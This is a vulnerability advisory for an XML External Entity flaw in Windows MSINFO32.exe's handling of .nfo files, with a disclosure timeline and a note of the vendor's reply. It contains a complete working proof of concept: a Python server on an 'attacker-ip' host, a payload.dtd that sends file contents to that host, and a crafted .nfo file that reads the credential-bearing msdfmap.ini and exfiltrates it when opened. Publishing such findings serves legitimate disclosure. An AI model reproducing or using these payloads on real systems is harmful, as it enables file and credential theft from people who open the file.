Microsoft MSINFO32.EXE ".NFO" Files XML External Entity

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[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec



Vendor:
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www.microsoft.com



Product:
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Windows System Information
MSINFO32.exe v6.1.7601


Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system components, and software environment.

Parameters
FileName   : Specifies the file to be opened. This can be an .nfo, .xml, .txt, or .cab file.



Vulnerability Type:
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XML External Entity



CVE Reference:
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N/A



Vulnerability Details:
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Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack which can potentially allow remote attackers 
to 
gain access to and exfiltrate files from the victims computer if they open a malicious ".nfo" file via remote share / 
USB etc.

Upon open the file user will see error message like "System Information is unable to open this .nfo file. The file might
be corrupt etc..


Tested Windows 7 SP1


Exploit code(s):
===============

Access and exfiltrate Windows "msdfmap.ini" file as trivial POC.
This file contains credentials for MS ADO Remote Data Services.


1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd)



2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;&apos;>">

%all;



3) "FindMeThatBiatch.nfo" (corrupt .NFO file)

<?xml version="1.0"?>
<!DOCTYPE HYP3RLINX [ 
<!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd";>
%dtd;]>
<pwn>&send;</pwn>



Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32 opens... attacker gets files.

OR open via Windows CL:
c:\>msinfo32  \\REMOTE-SHARE\FindMeThatBiatch.nfo



Disclosure Timeline:
======================================
Vendor Notification: September 4, 2016
Vendor Reply "not meet the bar for security servicing": September 7, 2016
December 4, 2016  : Public Disclosure




Exploitation Technique:
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Remote



Severity Level:
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High




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